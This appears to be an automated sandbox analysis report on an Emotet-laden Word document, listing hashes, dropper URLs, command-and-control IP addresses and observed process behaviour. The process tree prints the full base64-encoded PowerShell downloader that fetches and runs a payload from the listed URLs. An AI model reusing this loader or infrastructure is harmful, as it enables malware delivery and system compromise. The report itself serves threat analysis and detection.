Analysis
- max time kernel
145s - max time network
146s - platform
windows10_x64 - resource
win10v200722 - submitted
13/08/2020, 18:02
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39_2020-08-13__180009._doc.doc
Resource
win7
General
- Target emotet_e2_f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39_2020-08-13__180009._doc.doc
- Size 230KB
- Sample200813-4b91hbefva
- SHA256 f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39
- MD5 20ca5619ba6a3906dd8c9f354ba8617c
- SHA1 4e65836947690ab31dbe856e45a60868cb642c87
- SHA512 88ff824e7b0ccd1ab83a72599f3eaf9560df765e0b694ce97b563c9bf37690ce1c27fb0c6461632022459dac364cab27bb6fcd014b4ee50263795d7a83fa99f9
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://yang-agency.com/cgi-bin/s27pi_rbt70_kp/
-
exe.dropper
http://blog.takipcikedi.com/wordpress/5h0y_21l_5h58lfleyt/
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exe.dropper
https://doooone.com/wp-includes/k5p7_g710j_3och/
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exe.dropper
http://bitaghamari.com/wp-admin/svph4_7g82w_km6sh8v76/
-
exe.dropper
http://dae.dte.hcmut.edu.vn/alfacgiapi/9lw_j7q5_9cm6kkdet8/
Extracted
-
emotet
-
24.233.112.152:80
-
69.30.203.214:8080
-
192.210.135.126:8080
-
47.144.21.12:443
-
157.245.99.39:8080
-
119.198.40.179:80
-
62.75.141.82:80
-
181.211.11.242:80
-
167.86.90.214:8080
-
95.213.236.64:8080
-
87.106.139.101:8080
-
109.74.5.95:8080
-
142.105.151.124:443
-
47.146.117.214:80
-
185.94.252.104:443
-
2.58.16.85:7080
-
222.214.218.37:4143
-
85.105.205.77:8080
-
190.160.53.126:80
-
107.185.211.16:80
-
104.131.11.150:443
-
189.212.199.126:443
-
104.131.44.150:8080
-
201.173.217.124:443
-
199.101.86.142:8080
-
121.124.124.40:7080
-
110.145.77.103:80
-
168.235.67.138:7080
-
5.39.91.110:7080
-
78.24.219.147:8080
-
37.187.72.193:8080
-
114.146.222.200:80
-
47.146.32.175:80
-
76.27.179.47:80
-
169.239.182.217:8080
-
91.211.88.52:7080
-
41.60.200.34:80
-
116.203.32.252:8080
-
153.126.210.205:7080
-
157.147.76.151:80
-
74.120.55.163:80
-
209.141.54.221:8080
-
67.205.85.243:8080
-
46.105.131.79:8080
-
74.208.45.104:8080
-
180.92.239.110:8080
-
70.167.215.250:8080
-
61.19.246.238:443
-
83.110.223.58:443
-
109.116.214.124:443
-
87.106.136.232:8080
-
97.82.79.83:80
-
72.12.127.184:443
-
137.59.187.107:8080
-
79.98.24.39:8080
-
139.59.60.244:8080
-
203.117.253.142:80
-
104.236.246.93:8080
-
24.137.76.62:80
-
165.165.171.160:8080
-
181.230.116.163:80
-
93.51.50.171:8080
-
139.130.242.43:80
-
85.152.162.105:80
-
62.138.26.28:8080
-
152.168.248.128:443
-
188.83.220.2:443
-
47.153.182.47:80
-
203.153.216.189:7080
-
81.2.235.111:8080
-
95.179.229.244:8080
-
183.101.175.193:80
-
24.43.99.75:80
-
174.102.48.180:80
-
173.62.217.22:443
-
190.55.181.54:443
-
209.143.35.232:80
-
103.86.49.11:8080
-
204.197.146.48:80
-
200.41.121.90:80
-
113.160.130.116:8443
-
83.169.36.251:8080
-
176.111.60.55:8080
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37.139.21.175:8080
-
24.179.13.119:80
-
5.196.74.210:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3940 992 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3912-13-0x0000000003FA0000-0x0000000003FAC000-memory.dmp emotet behavioral2/memory/3912-13-0x0000000003FA0000-0x0000000003FAC000-memory.dmp emotet behavioral2/memory/892-16-0x0000000003E60000-0x0000000003E6C000-memory.dmp emotet behavioral2/memory/892-16-0x0000000003E60000-0x0000000003E6C000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 20 3940 powersheLL.exe 22 3940 powersheLL.exe 26 3940 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3912 Dwfm.exe 892 smphost.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\autochk\smphost.exe Dwfm.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2312 WINWORD.EXE 2312 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3940 powersheLL.exe 3940 powersheLL.exe 3940 powersheLL.exe 892 smphost.exe 892 smphost.exe 892 smphost.exe 892 smphost.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3940 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 2312 WINWORD.EXE 3912 Dwfm.exe 3912 Dwfm.exe 892 smphost.exe 892 smphost.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3940 wrote to memory of 3912 3940 powersheLL.exe 77 PID 3940 wrote to memory of 3912 3940 powersheLL.exe 77 PID 3940 wrote to memory of 3912 3940 powersheLL.exe 77 PID 3912 wrote to memory of 892 3912 Dwfm.exe 78 PID 3912 wrote to memory of 892 3912 Dwfm.exe 78 PID 3912 wrote to memory of 892 3912 Dwfm.exe 78
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39_2020-08-13__180009._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2312
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABNAFQAUwBLAFQAdQBpAGQAPQAnAEoAWQBVAFgAQQB5AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAHQAWQBgAFAAcgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABXAEYAQwBGAG8AdgBjACAAPQAgACcARAB3AGYAbQAnADsAJABYAEwAVgBIAEsAagBvAHQAPQAnAFoAUgBTAEcAWQBiAHMAawAnADsAJABEAEQARQBIAEQAdQB0AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABEAFcARgBDAEYAbwB2AGMAKwAnAC4AZQB4AGUAJwA7ACQAWQBaAFUASwBZAGsAZgB2AD0AJwBXAFAATABaAFcAZgByAHYAJwA7ACQAVABPAEgAVQBSAGEAdQBoAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJABOAFAAUABSAEkAYQBrAGgAPQAnAGgAdAB0AHAAOgAvAC8AeQBhAG4AZwAtAGEAZwBlAG4AYwB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcwAyADcAcABpAF8AcgBiAHQANwAwAF8AawBwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgB0AGEAawBpAHAAYwBpAGsAZQBkAGkALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8ANQBoADAAeQBfADIAMQBsAF8ANQBoADUAOABsAGYAbABlAHkAdAAvACoAaAB0AHQAcABzADoALwAvAGQAbwBvAG8AbwBuAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsANQBwADcAXwBnADcAMQAwAGoAXwAzAG8AYwBoAC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGEAZwBoAGEAbQBhAHIAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwB2AHAAaAA0AF8ANwBnADgAMgB3AF8AawBtADYAcwBoADgAdgA3ADYALwAqAGgAdAB0AHAAOgAvAC8AZABhAGUALgBkAHQAZQAuAGgAYwBtAHUAdAAuAGUAZAB1AC4AdgBuAC8AYQBsAGYAYQBjAGcAaQBhAHAAaQAvADkAbAB3AF8AagA3AHEANQBfADkAYwBtADYAawBrAGQAZQB0ADgALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAATABKAFkATwBnAHIAeQA9ACcARQBVAEEARQBZAHQAbQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAFoARwBVAFQAawB0AHMAIABpAG4AIAAkAE4AUABQAFIASQBhAGsAaAApAHsAdAByAHkAewAkAFQATwBIAFUAUgBhAHUAaAAuACIAZABPAGAAdwBuAEwAbwBBAGQAYABGAGkAbABlACIAKAAkAFEAWgBHAFUAVABrAHQAcwAsACAAJABEAEQARQBIAEQAdQB0AHcAKQA7ACQAQQBOAE4ASwBDAG8AYwByAD0AJwBHAEEAVgBOAE8AYwB1AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEAEQARQBIAEQAdQB0AHcAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAzADgANgAwADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQARABEAEUASABEAHUAdAB3ACkAOwAkAEEASwBOAFMAWgBoAGEAYgA9ACcAUgBSAFIATgBQAHQAcQBpACcAOwBiAHIAZQBhAGsAOwAkAEUASgBVAFYAVwBjAGwAeQA9ACcAUgBGAFgASwBVAHYAawBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AVQBPAEQAQgBuAHcAYQA9ACcATwBNAEYAVQBYAHUAYQB5ACcA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\SysWOW64\autochk\smphost.exe"C:\Windows\SysWOW64\autochk\smphost.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:892
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-